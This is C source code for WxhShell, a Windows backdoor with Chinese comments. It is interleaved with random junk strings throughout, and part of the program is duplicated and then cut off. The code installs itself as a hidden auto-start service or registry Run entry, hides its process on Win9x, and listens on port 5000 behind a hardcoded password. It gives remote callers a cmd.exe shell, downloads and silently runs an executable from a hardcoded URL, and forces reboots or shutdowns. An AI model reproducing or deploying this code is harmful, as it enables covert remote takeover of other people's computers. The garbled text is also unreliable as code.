lon PROCNTQSIP NtQueryInformationProcess; !ulLGmUn 5|6z1{g8 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Zeme`/aBb static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PBAz`y2 YL9t3] HANDLE hProcess; Lilk8|?#W PROCESS_BASIC_INFORMATION pbi; 282+1X ^EuyvftZ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); os(Jr!p_= if(NULL == hInst ) return 0; w}U5dM` HjUw[Yz+6 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I*vj26qvg g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _} X`t8L h NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vHI"C % Top#u
if (!NtQueryInformationProcess) return 0; 9s\i(/RxW U7*VIRibv+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y&05
*b" if(!hProcess) return 0; ](9{}DHV G7/?hky 0. if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qh)!| B -9H!j4]T? CloseHandle(hProcess); DX%8.@ S,`Sq8H hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uZ0 $s$ if(hProcess==NULL) return 0; SRG!G]?- !7ZfT?& HMODULE hMod; WkDn char procName[255]; j6R{ unsigned long cbNeeded; 0IPhVG~# t7!>5e)C} if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t5jhpPVf ZB^4 (F')H CloseHandle(hProcess); :E >n)_^ >Rki[SNb-b if(strstr(procName,"services")) return 1; // 以服务启动 ,$6MM6W;-F JIY ^N9_ return 0; // 注册表启动 hyvV%z Z } V&,<,iNN jC/JiI // 主模块 (;2J(GZ:$U int StartWxhshell(LPSTR lpCmdLine) { ck { %B {D SOCKET wsl; ]!tYrSM! BOOL val=TRUE; 2;?wN`}5g= int port=0; 3ciVjH>i struct sockaddr_in door; 7ck0S+N'b +sR *d if(wscfg.ws_autoins) Install(); owpJ7S1~ i3kI2\bd/ port=atoi(lpCmdLine); #Rm=Em}d @Pb 1QLiz if(port<=0) port=wscfg.ws_port; d"d)<f
%\{?(baOA WSADATA data; Ji}IV if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (y+5d00 li_pM!dWU_ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; [>J~M!yu:r setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {ZsWZJ! door.sin_family = AF_INET; 8F\Msx door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?;KJ
(@Va door.sin_port = htons(port); 3Ibt'$dK _[OEE<( if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZvnZ}t>? closesocket(wsl); VrGb;L'[ return 1; %`\3V
{2* } /"%IhX- Lx:9@3'7' if(listen(wsl,2) == INVALID_SOCKET) { :AE;x& closesocket(wsl); P!6 e return 1; n"d) } l#vw
L15 Wxhshell(wsl); &v9PT!R~ WSACleanup(); dT@SO SE}RP3dF! return 0; xZ'`_x9l .vOpU4 } |b'<XQ&l5 k89gJ5B$ // 以NT服务方式启动 N13;hB< VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C"` 'Re5) { NK#"qK""k DWORD status = 0; %]sEt{ DWORD specificError = 0xfffffff; ]BQWA :V-}Sde serviceStatus.dwServiceType = SERVICE_WIN32; }zS&H-8K serviceStatus.dwCurrentState = SERVICE_START_PENDING; *6x^w%=A serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &CeF^ serviceStatus.dwWin32ExitCode = 0; v"('_! serviceStatus.dwServiceSpecificExitCode = 0; q;a*gqt serviceStatus.dwCheckPoint = 0; yE|}
r serviceStatus.dwWaitHint = 0; ! lN a` ?nGf Wx^ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %:;[M|. if (hServiceStatusHandle==0) return; v^18o$=K", 6!Ji>h.Ak status = GetLastError(); _:=OHURc if (status!=NO_ERROR) O<d?'{ { vb ^!( serviceStatus.dwCurrentState = SERVICE_STOPPED; fJ"~XTN}T serviceStatus.dwCheckPoint = 0; L+ETMk0 serviceStatus.dwWaitHint = 0; gZ >orZL' serviceStatus.dwWin32ExitCode = status; w4MMo serviceStatus.dwServiceSpecificExitCode = specificError; & Dl'*| SetServiceStatus(hServiceStatusHandle, &serviceStatus); JX@6Sg< return; ND9>`I5 } FZ.z'3I Q.E^9giC serviceStatus.dwCurrentState = SERVICE_RUNNING; tG^ ?fc serviceStatus.dwCheckPoint = 0; "T1#*"{j serviceStatus.dwWaitHint = 0; H-
qP>: if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E29gnYxu8 } H[!Q f,
j(uP // 处理NT服务事件,比如:启动、停止 u-M$45vct VOID WINAPI NTServiceHandler(DWORD fdwControl) rKs WS~U { ?O>JtEz~lQ switch(fdwControl) L\?g/l+k { FjLv*K[#d case SERVICE_CONTROL_STOP: . N} }cJq serviceStatus.dwWin32ExitCode = 0; @NwM+^ serviceStatus.dwCurrentState = SERVICE_STOPPED; % m5 ^p serviceStatus.dwCheckPoint = 0; jc~*#\N serviceStatus.dwWaitHint = 0; AXv;r< { iGeT^!N SetServiceStatus(hServiceStatusHandle, &serviceStatus); W!0 } 3)Awj++ return; T0"0/{5-_ case SERVICE_CONTROL_PAUSE: pW^ ?g|_} serviceStatus.dwCurrentState = SERVICE_PAUSED; }~~^ZtJ\ break; )7%]<2V% case SERVICE_CONTROL_CONTINUE: u{nWjqrM*5 serviceStatus.dwCurrentState = SERVICE_RUNNING; n6UU6t{ break; uZ?CVluP case SERVICE_CONTROL_INTERROGATE: 70*iJ^| break; U
<$xp }; nV xMo_ SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^8*SCM_A } s!fY^3 'xXqEwi4 // 标准应用程序主函数 w|FVqX int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QOy&!6 { 0i(?LI_S x|i3e&D // 获取操作系统版本 QpTNU.v5f OsIsNt=GetOsVer(); :w_1J'D} GetModuleFileName(NULL,ExeFile,MAX_PATH); (?3\.tQ}} '\E{qlI // 从命令行安装 B|$13dHfa if(strpbrk(lpCmdLine,"iI")) Install(); aKzD63 *k]S{]Y // 下载执行文件 a`X&;jH0ef if(wscfg.ws_downexe) { ^Ro
du if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7^TXlWn^G WinExec(wscfg.ws_filenam,SW_HIDE); \bQ!>l\ } R*{?4NKG $yqq.#1 if(!OsIsNt) { gN'i+mQcu // 如果时win9x,隐藏进程并且设置为注册表启动 v.v%k2; HideProc(); $D\l%y/C StartWxhshell(lpCmdLine); x, G6`|Hl } $$f$$ else eo52X&I if(StartFromService()) gWH9=%! // 以服务方式启动 LU7)F,ok StartServiceCtrlDispatcher(DispatchTable); n:."ZBtY* else $ 14DTjj // 普通方式启动 Y"rV[oe StartWxhshell(lpCmdLine); !;!~5"0~" 207oEO] return 0; i/Lq2n3 ) } {,2_K6# f>/ 1KV Jl4XE%0 q/-j`'A_pb =========================================== mqT0^TNPcl 'nt,+`.y6 CWsv#XOg] 7kpW1tjY 0F'UFn>{ rAw1g,& " _`[6jhNa! #$B,8LFz,$ #include <stdio.h> )t|Q7$v1 #include <string.h> !Jnw_) #include <windows.h> X0QS/S-+ #include <winsock2.h> }lpm Hvs #include <winsvc.h> 2Wf qgR[3 #include <urlmon.h> ,[1`'nN@g koY8=lh/ #pragma comment (lib, "Ws2_32.lib") <+,0G` #pragma comment (lib, "urlmon.lib") VCRv(Ek B^Mtj5Oc #define MAX_USER 100 // 最大客户端连接数 :!!`!*!JH #define BUF_SOCK 200 // sock buffer !TZ/PqcE #define KEY_BUFF 255 // 输入 buffer )stWr r& lfeWtzOf #define REBOOT 0 // 重启 4EbiCSo #define SHUTDOWN 1 // 关机 o"M^sKz47 U (7P X`1 #define DEF_PORT 5000 // 监听端口 2Lgvy/uN arL&^]JnZ, #define REG_LEN 16 // 注册表键长度 G6VHl:e7z #define SVC_LEN 80 // NT服务名长度 8 %f!
X51 U(LR('-h // 从dll定义API 0)a?W,+O typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !Y(qpC:$ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Fe<
t@W typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JlGD.!` typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q&Ahr e`1s[ ^B // wxhshell配置信息 ^O*hs%eO% struct WSCFG { Qug'B int ws_port; // 监听端口 >&Q. .`q char ws_passstr[REG_LEN]; // 口令 Q.$h![`6 int ws_autoins; // 安装标记, 1=yes 0=no :.df( 1(RL char ws_regname[REG_LEN]; // 注册表键名 e-)1K char ws_svcname[REG_LEN]; // 服务名 3g:+p
char ws_svcdisp[SVC_LEN]; // 服务显示名 <r3n?w8 char ws_svcdesc[SVC_LEN]; // 服务描述信息 x99
Oq! char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v("vUqhx2+ int ws_downexe; // 下载执行标记, 1=yes 0=no }AYSQ~: char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]3jH^7[? char ws_filenam[SVC_LEN]; // 下载后保存的文件名 TFPq(i 'u/HQg* }; 6WM_V9Tidq JjML!; // default Wxhshell configuration =@XR$Uud6 struct WSCFG wscfg={DEF_PORT, 5D*V%v "xuhuanlingzhe", $m
oa8 1, 1*b%C"C "Wxhshell", gRI|rDC)B "Wxhshell", nDw9 "WxhShell Service", Vs"Q-? "Wrsky Windows CmdShell Service", %y+j~]^: "Please Input Your Password: ", O#Hz5A5 1, N6%q%7F.: "http://www.wrsky.com/wxhshell.exe", 4jro4B` "Wxhshell.exe" |JQKxvjT }; &2pM3re/f f L?~1i = // 消息定义模块 Kp;o?5H char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Xrn~]P7 char *msg_ws_prompt="\n\r? for help\n\r#>"; nzl,y, char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _>64XUZ<n char *msg_ws_ext="\n\rExit."; Q3Lqj2r char *msg_ws_end="\n\rQuit."; >[=`{B char *msg_ws_boot="\n\rReboot..."; *.l=>#qF char *msg_ws_poff="\n\rShutdown..."; L-dKZ8Q char *msg_ws_down="\n\rSave to "; I!'(>VlP7 O0YGjS|d char *msg_ws_err="\n\rErr!"; 4q8%!\A+ char *msg_ws_ok="\n\rOK!"; $dw;Kj'\ CFxs`C^ char ExeFile[MAX_PATH]; >i E
int nUser = 0; \vQ ( HANDLE handles[MAX_USER]; n//a;m int OsIsNt; r :-WfDz. Z3{Qtysuv3 SERVICE_STATUS serviceStatus; 5UyK1e)) SERVICE_STATUS_HANDLE hServiceStatusHandle; xGL"N1 QLl44*@ // 函数声明 D40VJ3TUc int Install(void); MWf%Lh;R int Uninstall(void); b1!%xdy_T int DownloadFile(char *sURL, SOCKET wsh); s:P-F0q!& int Boot(int flag); o*'3N/D~ void HideProc(void); WU_Q
7%+QS int GetOsVer(void); 8+F2
!IM int Wxhshell(SOCKET wsl); v8N1fuP} void TalkWithClient(void *cs); DLZ63' int CmdShell(SOCKET sock); 6}2Lt[>O int StartFromService(void); $=R\3:j int StartWxhshell(LPSTR lpCmdLine); 8/v_ uEG 2Y{9Df VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !>j-j VOID WINAPI NTServiceHandler( DWORD fdwControl ); SfT ]C~#$N 0IuU4h5Fr // 数据结构和表定义 ly+7klQ;. SERVICE_TABLE_ENTRY DispatchTable[] = B4=gMVp1 { enM 3 {wscfg.ws_svcname, NTServiceMain}, 6m&I_icM {NULL, NULL} J(60eTwQ }; VF.S)='>Eu 2=RDAipf59 // 自我安装 4r$t}t
gX int Install(void) n2~rrQ
\/p { UqbE char svExeFile[MAX_PATH]; %+}\i'j7 HKEY key; )DMbO"7 strcpy(svExeFile,ExeFile); 3{z }[@N >EjBknl // 如果是win9x系统,修改注册表设为自启动 _qfdk@@g if(!OsIsNt) { =6:Iv"< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bfgLU.1I RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9UX-)! RegCloseKey(key); j^M@0o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S1JB]\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0)#I5tEre RegCloseKey(key); B}.ia_&DLR return 0; HAXx`r< } [gDvAtTZ5 } /hHD\+0({ } WJWhx4Hk else { '|.u*M,b Zzs pE} // 如果是NT以上系统,安装为系统服务 DlP=R SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '_8Vay~ if (schSCManager!=0) N !:&$z- { = 8n*%NC SC_HANDLE schService = CreateService ]up:pddIh ( Sw~<W%! ? schSCManager, h 9/68Gc?6 wscfg.ws_svcname, yL1\V7GI{[ wscfg.ws_svcdisp, O;r8l+ SERVICE_ALL_ACCESS, 5k @k SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F7df SERVICE_AUTO_START, 0@KBQv"v SERVICE_ERROR_NORMAL, aqlYB7 svExeFile, k<y$[xV NULL, ?*g]27f11 NULL, 2C>PxA6l NULL, }v{F9dv NULL, F-t-d1w6 NULL ~ lS3+H ); M II]sF if (schService!=0) >r3Wo%F' { s_|wvOW)' CloseServiceHandle(schService); 4YJs4CB CloseServiceHandle(schSCManager); LQ._?35r strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); );C !:? strcat(svExeFile,wscfg.ws_svcname); b^ZrevM if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '
x|B' RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~$5[#\5%G RegCloseKey(key); f3O3pIA return 0; K>-m8.~\E } J_tJj8 } >13= 4S CloseServiceHandle(schSCManager); }
? } :98Pe6 } >2$M~to"1 na~ r}77o return 1; OTzh=Z^r } #Ew}@t9 /[mCK3_ // 自我卸载 !#3R<bW`R8 int Uninstall(void) *+iWB_ { [@(zGb8 HKEY key; |h;MA,qva 7G xNI if(!OsIsNt) { nWh?zf#{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yq.Omr! RegDeleteValue(key,wscfg.ws_regname); yRAb
HG,c RegCloseKey(key); {3?g8e]zr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E:%%Dm RegDeleteValue(key,wscfg.ws_regname); V9+7A RegCloseKey(key); GXwV>)!x return 0; "C>KKs } } Z)HQlm } 5(,WN } sUA)I%Q! else {
n1v%S"^ ,}bC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 45#`R%3 if (schSCManager!=0) 4&?%" 2 { ?qdG)jo= SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]wP)!UZ if (schService!=0) 7eY*Y"GX { U*zjEY:A if(DeleteService(schService)!=0) { (FBKP#x)^ CloseServiceHandle(schService); 7Y_S%B:F CloseServiceHandle(schSCManager); ]+oPwp;il return 0; p%n}a%%I } HYtkSsXLN CloseServiceHandle(schService); 9nB:=`T9 } t4nAy)I)P CloseServiceHandle(schSCManager); %_5B"on } %H:!/'45 } o rEo$e< b
afYjF< 3 return 1; Yu'lD` G } >Z/,DIn,I [z?q-$# // 从指定url下载文件 D:f0Wv int DownloadFile(char *sURL, SOCKET wsh) {&3n{XrF( { nU/v(lN HRESULT hr; ~$+9L2gz char seps[]= "/"; K2!KMhvQ char *token; "8s0~[6S char *file; *.20YruU;j char myURL[MAX_PATH]; -O{Af char myFILE[MAX_PATH]; =3sBWDB[ cU+/I>V strcpy(myURL,sURL); #Ez>]`]TB token=strtok(myURL,seps); ms<?BgCSz while(token!=NULL) 9NVe>\s_ { fAJQ8nb{@] file=token; '9-8_; token=strtok(NULL,seps); 1Ocyrn } 5gi`&t` Wh"oL;O GetCurrentDirectory(MAX_PATH,myFILE); IGVNX2 strcat(myFILE, "\\"); .aF+>#V=Q strcat(myFILE, file); s fazrz`h send(wsh,myFILE,strlen(myFILE),0); m39 `f,M send(wsh,"...",3,0); >Efv?8$E\ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7\5;;23N4 if(hr==S_OK) =d`,W9D return 0; i9_ZK/* else :o=[Zp~B4d return 1; C";F's) Qu!Lc:oM? } 5PG%)xff* 8LB+}N(8f // 系统电源模块 |eJ4"OPC int Boot(int flag) lQldW|S> { oC"c%e8 HANDLE hToken; *l^h;RSx TOKEN_PRIVILEGES tkp; &p0*:(j 10{ZW@!7 if(OsIsNt) { +:;r} 7Zh OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GKSfr8US4 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8 yQjB-,# tkp.PrivilegeCount = 1; YX,y7Uhn tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; crUt8L-B4 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); In5'(UHW: if(flag==REBOOT) { eXUXoK=T if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) : >4{m) return 0; j$a,93P5 } Ar N *9 else { a6fMx~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8v_HIx0xu return 0; 6;k#|-GU& } $s$z"< } hC=9%u{r? else { V07e29w if(flag==REBOOT) { x)h5W+$ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y#o ,Vg*V return 0; 6*le(^y` } )k{zRq:d else { #toKT_ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1
@tVfn} return 0; Y[#i(5w } H0_hQ:K } Oe5=2~4O 1@im+R?a return 1; Pl9/1YhD/ } t?iCq1 ojni+} >_ // win9x进程隐藏模块 "JT R5;`w void HideProc(void) ggIz)</ { uAwT)km
{ eJIBkFW/3y HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +h.$<= if ( hKernel != NULL ) fE8/tx]( { iZyhj%# pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LcI,Dy|P ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 76(-!Z@=J FreeLibrary(hKernel); ayTEQS } R&PQU/t) 4Bsx[~ u& return; 8xW_N"P.> } Tl6%z9rY@ :$lx] // 获取操作系统版本 )<nr;n int GetOsVer(void) !c(B c^ {
3V>2N)3`A OSVERSIONINFO winfo; *+{umfZy winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); aOFF"(]Cl GetVersionEx(&winfo); LxC*{t/>8 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E`}KVi57 return 1; LS}dt?78`V else /:iO:g1 return 0;
QK)"-y}"g } ZaBGkDX5 c$ya{]a // 客户端句柄模块 ov.7FZ+ int Wxhshell(SOCKET wsl) 6&5p3G{%0 { }J$Q SOCKET wsh; x'tYf^Va28 struct sockaddr_in client; n$i}r\
so DWORD myID; c&vY0/ [ \#Ez["mD
while(nUser<MAX_USER) sS7r)HV&GI { VC,wQb1J/ int nSize=sizeof(client); nSdta'6 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I'%vN^e^ if(wsh==INVALID_SOCKET) return 1;
qc;9{$?xV &_n~# Mex handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l$=Y(Xk if(handles[nUser]==0) f^\qDvPur closesocket(wsh); Q5b~5a else F?TxViL nUser++; Z6#}6Y{ } L?T%;VdG'> WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wyvrNru<l4 M}MXR=X, return 0; O:3LA-vA } ~OO&%\$k [R:\ // 关闭 socket {L^b['h@ void CloseIt(SOCKET wsh) K"B2
SsC { \q(DlqTqs closesocket(wsh); 9&a&O
Z{ nUser--; {fW(e?8) ExitThread(0); /X>Fn9mM } Pi7vuOJr8 pVbgjJI // 客户端请求句柄
?UuJk void TalkWithClient(void *cs) cD5c&+,&I { (lBgWz hDTiXc SOCKET wsh=(SOCKET)cs; :d\ne char pwd[SVC_LEN]; 7/%{7q3G> char cmd[KEY_BUFF]; 3}V`]B#a char chr[1]; X;25G int i,j; 4
qMO@E_ IMjz#|c while (nUser < MAX_USER) { uSh!A %5.aC|^} if(wscfg.ws_passstr) { huVw+vAA if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .4P5tIn\ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X+2 aP'D //ZeroMemory(pwd,KEY_BUFF); B@XnHh5y i=0; ocOzQ13@Y while(i<SVC_LEN) { }+ ";W) R Jv(9w[ // 设置超时 H=b54.J8& fd_set FdRead; e}>8rnR{ struct timeval TimeOut; m!{Xu y FD_ZERO(&FdRead); M5DQ{d<r FD_SET(wsh,&FdRead); mkH{%7n TimeOut.tv_sec=8; O/b~TVA TimeOut.tv_usec=0; g$+u;ER5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?`T<
sk8c if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :KY920/, r;m_@*] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V8AF;1c?-' pwd=chr[0]; CZaUrr if(chr[0]==0xd || chr[0]==0xa) { rS1mBrqD pwd=0; T*YbmI]4 break; c4Q{ } AfAg#75q i++; 3>LyEXOW } U^+xCX< wc@X:${ // 如果是非法用户,关闭 socket }NX9"}/ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P5
fp!YF } ?M?S+@( "A\.`*6 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q(Q.( send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fT9z 4[M rz/^_dV while(1) { IO/%X;Y_ f`Km ctI ZeroMemory(cmd,KEY_BUFF); 'wh2787 Y JzKE7%CO // 自动支持客户端 telnet标准 ACQbw)tiv} j=0; Th1/Bxb:
while(j<KEY_BUFF) { `R:p-"'b if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {|)u).n| cmd[j]=chr[0]; 0a<:.} if(chr[0]==0xa || chr[0]==0xd) { z@@w?>* cmd[j]=0; ch2Q k8 break; NR3]MGBKv } 7+^9"k7 j++; nT
UKA } dV+%x"[: !YUMAp/ // 下载文件 V/%tFd1 if(strstr(cmd,"http://")) { 0Vu&UD send(wsh,msg_ws_down,strlen(msg_ws_down),0); mDJF5I if(DownloadFile(cmd,wsh)) )C>4?) send(wsh,msg_ws_err,strlen(msg_ws_err),0); r2:n
wlG else jET$wKw% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2Eq?^ )s } h4@v.GI else { WH`E=p^x4 ]7H ? switch(cmd[0]) { B+e$S%HV XL@Y! // 帮助 f"^G\ case '?': { D$k<<dvv send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q:OSQ~U_ break; DK2m(9/`3 } 8J60+2Wa // 安装 #ma#oWqF } case 'i': { +h!OdWD9 if(Install()) jVh I`F{n send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^T}6oUd else &zVF!xNy& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *.g0;\HF break; UclQo~3 } y\}39Z(] // 卸载 REd"}zDI case 'r': { ?QzA;8H if(Uninstall()) Z#8O)GK send(wsh,msg_ws_err,strlen(msg_ws_err),0); YyI4T/0s_ else b"`Vn, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :mwNkT2et break; qw]:oh&G } ,~;_- // 显示 wxhshell 所在路径 &[]0yNG case 'p': { C[cNwvz char svExeFile[MAX_PATH]; M,0@@: strcpy(svExeFile,"\n\r"); Vwj^h strcat(svExeFile,ExeFile); ujF*'*@\
send(wsh,svExeFile,strlen(svExeFile),0); l=jfgsjc break; lYZ5FacqC } E_VLI'Hn? // 重启 .gmNE$d case 'b': { l.tNq$3pS send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6mH0|:CsY if(Boot(REBOOT)) 7nh,j <~;2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); aOWE\Ic8 else { !E\xn^ closesocket(wsh); 2LpJ xV ExitThread(0); PA5_ } p h[
^ve break; d',OQ,~{ } 9v7l@2/ // 关机 *G{%]\s? case 'd': { ?t LJe send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XY(3!>/eQ[ if(Boot(SHUTDOWN)) IvLo&6swW send(wsh,msg_ws_err,strlen(msg_ws_err),0); -Fcg}\9 else { Y6(I
%hE` closesocket(wsh); igNZe."V ExitThread(0); 3?Ckk{)& } ?y( D_Nt L break; ]e0yC } @^Tof5?F? // 获取shell l#8SlRji case 's': { 0Xmp)_vba CmdShell(wsh); !2dA8b closesocket(wsh); a}N m;5K ExitThread(0); k(Z+(Y'{q~ break; "*o54z5" } /rsr|`# // 退出 E|u#W3-: case 'x': { &m=Xg(G~c send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aL\vQ(1zO CloseIt(wsh); m>4jRr6sF break; &h=O;?dO } #BQ7rF7CNE // 离开 oiP8~ case 'q': { Y9rW_m@B send(wsh,msg_ws_end,strlen(msg_ws_end),0); q'kZ3G closesocket(wsh); %U]_1"d,<\ WSACleanup(); =$`xis\ exit(1); _akC^hT break; J 00<NRxj" } [zp v3Uw } G5y>v^&H } # 4E@y<l$ "bFt+N // 提示信息 E\N?D if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %mR roR6 } 5IeF |#g } 2mS3gk e%VJ:Dj return; <1tFwC|4BJ } Kfnn; \Q.Qos // shell模块句柄 Kg0Vbzvb int CmdShell(SOCKET sock) G_E U/p<Q { I8r5u=PH STARTUPINFO si; X#9}|rT56 ZeroMemory(&si,sizeof(si)); HC,YmO:df" si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1
h(oty2p si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @fR^":.h PROCESS_INFORMATION ProcessInfo; uPk`9c52% char cmdline[]="cmd"; XGE:ZVpW CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tqLn A return 0; @NMFurm } yYmV^7G [u[`!L= // 自身启动模式 q1j<p)( int StartFromService(void) !4uTi [e { uG1
1~uAt typedef struct +pU\;x { 0raVC=[ DWORD ExitStatus; U krqHHpy DWORD PebBaseAddress; ND[u$N+5x" DWORD AffinityMask; 8%s^>.rG DWORD BasePriority; ?c)PBJ+] ULONG UniqueProcessId; V6l*!R ULONG InheritedFromUniqueProcessId; Ojj:YLlY> } PROCESS_BASIC_INFORMATION; ?vL\VI9 =G9%Hz5~: PROCNTQSIP NtQueryInformationProcess; a~YFJAkg9 L-_dq0T static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0;z-I"N static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P 3uAS *_d+c G HANDLE hProcess; WjZJQK PROCESS_BASIC_INFORMATION pbi; t1p} }49X
N HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~S}>|q$ if(NULL == hInst ) return 0; 6zs&DOB I}/o`oc g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Gv[W)+3f g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lyiBRMiP| NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4fBgmL .J' 8d"+ if (!NtQueryInformationProcess) return 0; 4?XX_=+F| REnd#
